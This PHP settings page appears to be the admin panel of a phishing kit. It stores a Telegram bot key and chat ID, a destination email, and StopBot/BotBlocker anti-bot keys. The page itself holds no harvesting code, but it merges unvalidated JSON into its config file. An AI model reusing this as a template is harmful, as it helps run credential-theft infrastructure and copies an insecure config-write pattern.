<?php
session_start();
if (!isset($_SESSION['dibi-ut']) || $_SESSION['dibi-ut'] !== true) {
    http_response_code(403);
    echo json_encode(['error' => 'Unauthorized access']);
    exit();
}

$config_file = __DIR__ . '/setting.json';

function load_config($file) {
    if (!file_exists($file)) return [];
    $json = file_get_contents($file);
    $data = json_decode($json, true);
    return is_array($data) ? $data : [];
}

function save_config($file, $data) {
    file_put_contents($file, json_encode($data, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE));
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $input = json_decode(file_get_contents("php://input"), true);

    if (is_array($input)) {
        $current = load_config($config_file);
        $merged  = array_replace_recursive($current, $input);
        save_config($config_file, $merged);

        echo json_encode(["status" => "saved"]);
    } else {
        http_response_code(400);
        echo json_encode(["error" => "Invalid JSON"]);
    }
    exit;
}

$config = load_config($config_file);
$security = $config['security'] ?? [];
?>

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Application Settings</title>

<style>
body{
  margin:0;
  font-family:Inter,system-ui;
  background: radial-gradient(circle at top,#0b1a3a,#020617);
  color:#e5e7eb;
}

/* top nav */
.nav{
  display:flex;
  justify-content:space-between;
  padding:20px 40px;
}
.btn{
  border:1px solid #334155;
  background:transparent;
  color:#e5e7eb;
  padding:8px 16px;
  border-radius:10px;
  text-decoration:none;
  cursor:pointer;
}
.btn:hover{background:#0f172a}

/* card */
.wrapper{
  max-width:700px;
  margin:40px auto;
  padding:30px;
  background:rgba(15,23,42,.7);
  border:1px solid #1e293b;
  border-radius:20px;
  backdrop-filter: blur(12px);
}

h1{margin-top:0}

/* input */
label{display:block;margin-top:20px;font-size:14px;color:#94a3b8}
input{
  width:100%;
  padding:12px;
  margin-top:6px;
  border-radius:10px;
  border:1px solid #334155;
  background:#020617;
  color:#e5e7eb;
}

/* toggle */
.toggle{
  display:flex;
  justify-content:space-between;
  align-items:center;
  margin-top:18px;
}
.switch{
  position:relative;
  width:44px;
  height:24px;
}
.switch input{display:none}
.slider{
  position:absolute;
  inset:0;
  background:#334155;
  border-radius:999px;
  cursor:pointer;
  transition:.3s;
}
.slider:before{
  content:"";
  position:absolute;
  width:18px;height:18px;
  left:3px;top:3px;
  background:white;
  border-radius:50%;
  transition:.3s;
}
input:checked + .slider{
  background:#2563eb;
}
input:checked + .slider:before{
  transform:translateX(20px);
}

/* save btn */
.save{
  margin-top:25px;
  width:100%;
  padding:12px;
  border:none;
  border-radius:12px;
  background:#2563eb;
  color:white;
  font-weight:600;
  cursor:pointer;
}
.save:hover{opacity:.9}

.status{margin-top:10px;color:#22c55e;font-size:14px}

.title {
    font-size: 26px;
    font-weight: 600;
    background: linear-gradient(90deg, #22d3ee, #6366f1);
    -webkit-background-clip: text;
    -webkit-text-fill-color: transparent;
}
</style>
</head>

<body>

<div class="nav">
  <a href="index.php" class="btn">← Back</a>
</div>

<div class="wrapper">
  <h1 class="title">⚙️ Application Settings</h1>

  <form id="form">

    <label>Telegram API Key</label>
    <input name="telegram_apikey" value="<?= htmlspecialchars($config['telegram_apikey'] ?? '') ?>">

    <label>Telegram Chat ID</label>
    <input name="telegram_chatid" value="<?= htmlspecialchars($config['telegram_chatid'] ?? '') ?>">

    <label>Email</label>
    <input name="email" value="<?= htmlspecialchars($config['email'] ?? '') ?>">

    <label>StopBot API Key</label>
    <input name="stopbot_apikey" value="<?= htmlspecialchars($config['stopbot_apikey'] ?? '') ?>">

    <label>Locked</label>
    <input name="locked" value="<?= htmlspecialchars($config['locked'] ?? '') ?>">

    <label>BotBlocker Key</label>
    <input name="botblocker" value="<?= htmlspecialchars($config['botblocker'] ?? '') ?>">

    <label>RapidAPI Key</label>
    <input name="rapidapi" value="<?= htmlspecialchars($config['rapidapi'] ?? '') ?>">

    <h3>Security</h3>

    <?php
    $toggles = [
      "bot_blocker" => "Bot Blocker",
      "botblocker_api" => "BotBlocker API",
      "rapidapi" => "RapidAPI"
    ];
    foreach ($toggles as $key => $label):
    $checked = !empty($security[$key]) ? "checked" : "";
    ?>
      <div class="toggle">
        <span><?= $label ?></span>
        <label class="switch">
          <input type="checkbox" name="security[<?= $key ?>]" <?= $checked ?>>
          <span class="slider"></span>
        </label>
      </div>
    <?php endforeach; ?>

    <button class="save">Save Settings</button>
    <div class="status" id="status"></div>
  </form>
</div>

<script>
document.getElementById("form").addEventListener("submit", async e=>{
  e.preventDefault();

  const data = {};
  const fd = new FormData(e.target);

  fd.forEach((v,k)=>{
    if(k.includes("security[")){
      const key = k.match(/security\[(.*?)\]/)[1];
      data.security ??= {};
      data.security[key] = true;
    }else{
      data[k] = v;
    }
  });

  const res = await fetch("",{
    method:"POST",
    headers:{'Content-Type':'application/json'},
    body:JSON.stringify(data)
  });

  const j = await res.json();
  document.getElementById("status").textContent =
    j.status ? "Saved successfully" : "Failed saving";
});
</script>

</body>
</html>
